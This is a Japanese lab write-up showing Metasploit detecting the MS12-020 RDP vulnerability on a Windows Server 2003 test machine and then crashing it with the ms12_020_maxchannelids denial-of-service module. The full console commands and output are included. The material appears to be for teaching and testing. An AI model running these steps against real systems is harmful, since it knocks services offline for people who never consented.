metasploit(MSF)を使用してWindowsのms12-020脆弱性を悪用するプロセス



Process Using Metasploit Exploit Ms12 020 Vulnerability Windows



序文

攻撃者は、影響を受けるシステムに一連の特別に細工されたRDPパケットを送信します。この脆弱性により、サービス拒否攻撃が発生したり、リモートでコードが実行されたりする可能性があります。デフォルトでは、リモートデスクトッププロトコル(RDP、デフォルトポート3389)はどのWindowsオペレーティングシステムでも有効になっていません。 RDPが有効になっていないシステムは危険にさらされていません。この実験により、ターゲットシステムにDOS攻撃が発生しました。

0x01実験環境

攻撃マシン:kali linux
ip:192.168.8.130
ターゲットマシン:Windows Server 2003 Enterprise x64 SP2
ip:192.168.8.129



0x02脆弱性検証

msfモジュール:auxiliary / Scanner / rdp / ms12_020_checkを使用して、ターゲットマシンにこの脆弱性があるかどうかを確認します

msf > use auxiliary/scanner/rdp/ms12_020_check msf auxiliary(ms12_020_check) > set RHOSTS 192.168.8.129 msf auxiliary(ms12_020_check) > info Name: MS12-020 Microsoft Remote Desktop Checker Module: auxiliary/scanner/rdp/ms12_020_check License: Metasploit Framework License (BSD) Rank: Normal Provided by: Royce Davis 'R3dy' Brandon McCann 'zeknox' Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.8.129 yes The target address range or CIDR identifier RPORT 3389 yes Remote port running RDP (TCP) THREADS 100 yes The number of concurrent threads Description: This module checks a range of hosts for the MS12-020 vulnerability. This does not cause a DoS on the target. References: https://cvedetails.com/cve/CVE-2012-0002/ https://technet.microsoft.com/en-us/library/security/MS12-020 http://technet.microsoft.com/en-us/security/bulletin/ms12-020 https://www.exploit-db.com/exploits/18606 https://svn.nmap.org/nmap/scripts/rdp-vuln-ms12-020.nse

実行後、ターゲットシステムにこの脆弱性があることを示しています。



msf auxiliary(ms12_020_check) > run [+] 192.168.8.129:3389 - 192.168.8.129:3389 - The target is vulnerable. [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

0x03エクスプロイト

msf auxiliary(ms12_020_check) > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids msf auxiliary(ms12_020_maxchannelids) > show options Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.8.129 yes The target address RPORT 3389 yes The target port (TCP) msf auxiliary(ms12_020_maxchannelids) > run [*] 192.168.8.129:3389 - 192.168.8.129:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS [*] 192.168.8.129:3389 - 192.168.8.129:3389 - 210 bytes sent [*] 192.168.8.129:3389 - 192.168.8.129:3389 - Checking RDP status... [+] 192.168.8.129:3389 - 192.168.8.129:3389 seems down [*] Auxiliary module execution completed

モジュールを実行した後、ターゲットシステムのWindows Server 2003 BSOD:
画像